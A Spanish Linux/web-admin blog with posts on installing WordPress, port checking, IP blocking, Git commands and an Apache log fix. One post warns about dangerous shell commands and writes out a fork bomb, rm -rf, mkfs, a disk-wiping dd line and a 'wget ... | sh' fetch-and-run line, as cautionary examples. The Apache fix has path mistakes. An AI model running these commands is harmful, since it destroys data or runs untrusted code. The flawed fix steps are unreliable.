martes, 22 de noviembre de 2016

Instalación de WordPress

En esta oportunidad se mostrara como instalar WordPress 

1.- Descargar la Ultima Versión de WordPress del siguiente Link

https://ve.wordpress.org/txt-download/

2.- Descomprime el archivo en una carpeta vacía.
3.- Abre wp-config-sample.php con un editor de texto como Notepad o similar y rellena los datos de tu conexión a la base de datos.
4.- Guarda el archivo como wp-config.php.
5.- Sube todo a tu servidor.
Ve a tu sitio y abre http://www.tudominio.com/wp-admin/install.php en tu navegador. Si hay algún error, haz el favor de comprobar tu archivo wp-config.php e intentar otra vez. Si vuelve a fallar, visita los foros de ayuda con todos los datos que puedas aportar.
5.- Elige tu nombre de usuario y contraseña. Si dejas ambos campos en blanco, se te asignara el nombre de usuario admin y una contraseña al azar.
6.- Se te enviará a la página para que inicies sesión, donde deberás introducir el nombre de usuario y contraseña que seleccionaste en el paso anterior. Si la contraseña te fue proporcionada por el instalador, te recomendamos cambiarla haciendo click en ‘Perfil’.
Eso es todo. ¡Disfruta!

Instalar el archivo de idioma en un sitio existente
Si ya tienes una instalación en línea de la misma versión de WordPress, pero en idioma inglés, puedes cambiar el idioma de tu página usando solamente el archivo de la traducción incluido en el paquete siguiendo estos pasos:

Busca el archivo es_VE.mo en la carpeta  /wp-content/languages/ del paquete y súbelo al directorio /wp-content/languages/ de tu instalación.
Modifica con cualquier editor de texto el archivo  wp-config.php que se encuentra en la carpeta raíz de tu instalación, cambiando el valor define ('WPLANG', '');  por  define ('WPLANG', 'es_VE');
Ahora la administración de tu WordPress aparecerá en español de Venezuela.

Actualizar manualmente
Antes de actualizar nada, asegúrate de tener copias de respaldo de los archivos que hayas modificado.
Haz una Copia de Seguridad de tus archivos y tu base de datos.
Sube los nuevos archivos.
Dirige tu navegador a http://www.tudominio.com/wp-admin/upgrade.php.
Cambios a las plantillas del tema

Si has personalizado las plantillas del tema, puede que tengas que hacer algunos cambios relevantes cuando actualizes entre versiones mayores.

martes, 15 de noviembre de 2016

9 comandos peligrosos en Linux


El shell de Linux es muy potente y sólo una simple instrucción podría llevarnos a eliminar sin querer directorios, archivos, el raíz, etc. Linux no suele pedir confirmación sino que ejecuta el comando de inmediato pudiendo causar la pérdida de datos útiles.
Echa un vistazo a los 9 comandos más "peligrosos":



1. bomba fork
:(){ :|: & };: es una función bash. Una vez ejecutada, se repite varias veces hasta que el sistema se bloquea. Podríamos decir que causa una denegación de servicio hasta el punto que tenemos que reiniciar el servidor.

2. mv directorio/dev/null
mv directorio/dev/null es otro comando arriesgado. dev/null o el dispositivo null descarta todos los datos escritos en el pero informa que la operación de escritura se ha realizado correctamente. Es también conocido como agujero negro o bit bucked.

3. rm -rf 
El comando rm -rf es para borrar archivos o directorios. Siempre hay que tener mucho cuidado al utilizarlo. El parámetro '-r' elimina el contenido de una carpeta de forma recursiva y el parámetro '-f' fuerza la eliminación sin preguntar.

4. mkfs
mkfs puede ser un comando peligroso si no conoces su propósito. Cualquier cosa después de mkfs será formateada y reemplazada por un sistema de archivos en blanco: mkfs, mkfs.ext3, mkfs.bfs, mkfs.ext2, mkfs.minix, mkfs.msdos, mkfs.reiserfs, mkfs.vfat, mkfs.cramfs (este último sin necesidad de tener permisos de administración).

5. bomba tar
Se trata de un archivo empaquetado que "explota" en miles o millones de archivos con nombres similares a los archivos existentes en el directorio actual en vez de en un directorio nuevo. La forma de evitarlo sería crear y entrar en un directorio nuevo antes de desempaquetarlo o listar el contenido previamente con -t.

6. dd
El comando dd se utiliza para copiar y convertir particiones del disco duro. Sin embargo, puede llegar a ser perjudicial si se especifica el destino equivocado.
El comando puede ser cualquiera de los siguientes:
    dd if=/dev/hda of=/dev/hdb    dd if=/dev/hda of=/dev/sdb    dd if=something of=/dev/hda    dd if=something of=/dev/sda    dd if=/dev/zero of=/dev/had (will zero out the whole primary hard drive)

7. Código shell script
Alguien podría enviarte un enlace para que descarges y ejecutes un shell script. Por ejemplo: wget http://some_malicious_source -O- | sh

8. Código fuente malicioso
Alguien podría facilitarte código fuente para compilarlo. Este código podría parecer un código normal, pero en realidad tratarse de algún código malicioso oculto entre código fuente normal que puede causar daños a tu sistema. Para evitar ser víctima de este tipo de ataque, sólo debes aceptar y compilar el código fuente de fuentes confiables.

9. Bomba de descompresión
Una bomba zip es un archivo que parece ser muy pequeño, de unos pocos KB, pero que cuando se descomprime lo hace en cientos de GB de datos pudiendo llenar tu disco duro para reducir el rendimiento del sistema. Si os acordáis hace tiempo ya hablamos en el blog de ellas.

miércoles, 12 de octubre de 2016

Agregar el idioma al español en LibreOffice con GNU/Linux

Hola comunidad, este articulo trata de como agregar el idioma al español en LibreOffice y GNU/Linux. Básicamente esto se logra insertando la siguiente linea en el terminal, en este ejemplo use la distribución GNU/Linux Ubuntu.
Ingresar un terminal y como root coloca lo siguiente:

#apt-get install libreoffice-help-es libreoffice-l10n-es
Ingresan a la ofimática y el idioma ya estará en español.


miércoles, 17 de agosto de 2016

Cómo saber si un puerto está abierto en Linux

Hoy vamos a enseñarte las distintas herramientas que puedes usar en el terminal de Linux.

Nmap
Nmap es la primera herramienta que os traemos, un programa de código abierto usado para rastrear puertos que normalmente se usa para evaluar la seguridad en sistemas informáticos. Para saber si un determinado puerto está abierto en un ordenador o servidor con una IP determinada usaremos el siguiente comando:

nmap [IP del ordenador/servidor] -p [Puerto] | grep -i tcp

Este software se encarga de preguntar al host si el puerto esta abierto y luego usando el comando grep filtraremos tan sólo la información relacionada con el estado del puerto para eliminar información que no deseemos.

Nc
Nc es otra herramienta que nos permitirá saber si un determinado puerto está o no abierto, la ventaja con respecto a Nmap es que con el comando nc tenemos que teclear aún menos. Sólo tenemos que teclear esto en una ventana de comandos:

nc -zv [IP del ordenador/servidor] [Puerto]

En la opción -zv, la v nos da la información de si el puerto está o no abierto y la z se encarga de cerrar la conexión una vez hayamos comprobado el estado del puerto. Si no pusiesemos la z la conexión no se cerraría.

Telnet
Es otra alternativa a las otras herramientas, la ventaja es que es una herramienta muy completa que nos aportará mucha más información además de conocer el estado del puerto, usaremos el siguiente comando:

telnet [IP del ordenador/servidor] [Puerto]

La única desventaja que encontramos en este comando es la manera de cerrar la conexión, no es muy estable y en determinadas ocasiones tendremos que cerrar la ventana de terminal o parar el proceso.

De esta manera con unos pocos caracteres en el terminal podremos saber el estado de un puerto además de mucha más información, algo que nos resultará de mucha utilidad para prácticamente cualquier uso y que seguro necesitaremos usar en algún momento.

martes, 2 de agosto de 2016

Bloquear IP sospechosas en un servidor linux

En ocasiones detectamos alguna ip que esta intentando acceder al panel administrador de una web y sabemos por su ip que el acceso es de alguien que no debe poder entrar en ese sitio, podemos bloquear su ip para no dedicar más recursos al ataque. En ocasiones el ataque es en el puerto 25 intentando enviar correo electrónico de forma fraudulenta.

Para bloquear las ips, por el motivo que sea, podemos utilizar el comando route:

route add -host 24.92.120.34 reject     (bloquear la ip)

Para ver las ips que tenemos bloqueadas:

route -n    (ver ips bloqueadas)

En caso que queramos desbloquear una ip que hayamos bloqueado:

route del 24.92.120.34 reject        (desbloquear ip)

El comando route muestra la tabla de enrutamiento que reside en el kernel y también se usa para modificarla. La tabla que especifica cómo se enrutan los paquetes a un host se llama tabla de enrutamiento.

La sintaxis del comando route es:

route [opciones]

Las opciones disponibles:

route-opciones

Para poder bloquear rangos de ips lo podemos hacer del siguiente modo:

ip route add blackhole 22.118.20.0/24    (bloquear rango)

Para calcular exactamente las ips que bloqueamos podemos consultar la siguiente calculadora de rangos ip

lunes, 1 de agosto de 2016

Comandos Basicos de Git

a) Buscando Ayuda:
1. git help comando ó git comando --help
    Muestra la ayuda para ese comando
b) Creación de un repositorio:
2. git init
    Crea un repositorio en el directorio actual
3. git clone url
    Clona un repositorio remoto dentro de un directorio
c) Operaciones sobre Archivos:
4. git add path
    Adiciona un archivo o un directorio de manera recursiva
5. git rm ruta
    Remueve un archivo o directorio del árbol de trabajo
      -f : Fuerza la eliminación de un archivo del repositorio
6. git mv origen destino
    Mueve el archivo o directorio a una nueva ruta
      -f : Sobre-escribe los archivos existentes en la ruta destino
7. git checkout [rev] archivo
    Recupera un archivo desde la rama o revisión actual
      -f : Sobre-escribe los cambios locales no guardados
d) Trabajando sobre el código:
8. git status
    Imprime un reporte del estado actual del árbol de trabajo local
9. git diff [ruta]
    Muestra la diferencia entre los cambios en el árbol de trabajo local
10. git diff HEAD ruta
    Muestra las diferencias entre los cambios registrados y los no registrados
11. git add path
    Selecciona el archivo para que sea incluido en el próximo commit
12. git reset HEAD ruta
    Marca el archivo para que no sea incluido en el próximo commit
13. git commit
    Realiza el commit de los archivos que han sido registrados (con git-add)
      -a : Automáticamente registra todos los archivos modificados
14. git reset --soft HEAD^
    Deshace commit & conserva los cambios en el árbol de trabajo local
15. git reset --hard HEAD^
    Restablece el árbol de trabajo local a la versión del ultimo commit
16. git clean
    Elimina archivos desconocidos del árbol de trabajo local
e) Examinando el histórico:
17. git log [ruta]
    Muestra el log del commit, opcionalmente de la ruta especifica
18. git log [desde [..hasta]]
    Muestra el log del commit para un rango de revisiones dado
      --stat : Lista el reporte de diferencias de cada revisión
      -S'pattern' : Busca el historial de cambios que concuerden con el patrón de búsqueda
19. git blame [archivo]
    Muestra el archivo relacionado con las modificaciones realizadas
f) Repositorios remotos:
20. git fetch [remote]
    Trae los cambios desde un repositorio remoto
21. git pull [remote]
    Descarga y guarda los cambios realizados desde un repositorio remoto
22. git push [remote]
    Guarda los cambios en un repositorio remoto
23. git remote
    Lista los repositorios remotos
24. git remote add remote url
    Añade un repositorio remoto a la lista de repositorios registrados
g) Ramas:
25. git checkout rama
    Cambia el árbol de trabajo local a la rama indicada
      -b rama : Crea la rama antes de cambiar el árbol de trabajo local a dicha rama
26. git branch
    Lista las ramas locales
27. git branch -f rama rev
    Sobre-escribe la rama existente y comienza desde la revisión
28. git merge rama
    Guarda los cambios desde la rama
h) Exportando e importando:
29. git apply - < archivo
    Aplica el parche desde consola (stdin)
30. git format-patch desde [..hasta]
    Formatea un parche con un mensaje de log y un reporte de diferencias (diffstat)
31. git archive rev > archivo
    Exporta resumen de la revisión (snapshot) a un archivo
      --prefix=dir/ : Anida todos los archivos del snapshot en el directorio
      --format=[tar|zip] : Especifica el formato de archivo a utilizar: tar or zip
i) Etiquetas:
32. git tag name [revision]
    Crea una etiqueta para la revisión referida
      -s : Firma la etiqueta con su llave privada usando GPG
      -l [patrón] : Imprime etiquetas y opcionalmente los registros que concuerden con el patrón de busqueda
j) Banderas de Estado de los Archivos:
M (modified) : El archivo ha sido modificado
C (copy-edit) : El archivo ha sido copiado y modificado
R (rename-edit) : El archivo ha sido renombrado y modificado
A (added) : El archivo ha sido añadido
D (deleted) : El archivo ha sido eliminado
U (unmerged) : El archivo presenta conflictos después de ser guardado en el servidor (merge)

miércoles, 27 de julio de 2016

Error: not open error log file /var/log/apache2/error.log.

# service apache2 restart
[....] Restarting web server: apache2(2)No such file or directory: apache2: could not open error log file /var/log/apache2/error.log.
Unable to open logs
Action 'start' failed.
The Apache error log may have more information.
 failed!

No se encuentra el archivo /var/log/apache2/error.log.

Se soluciona de la siguiente manera

Se debe crear un archivo  error.log en la ruta /var/log/apache2/ 

Entrar en var/log

cd var/log

Crear la carpeta apache2

mkdir apache2

Crear el archivo error.log

touch error.log 

Por ultimo se reinicia el servicio nuevamente y listo

# service apache2 restart
[ ok ] Restarting web server: apache2 ... waiting .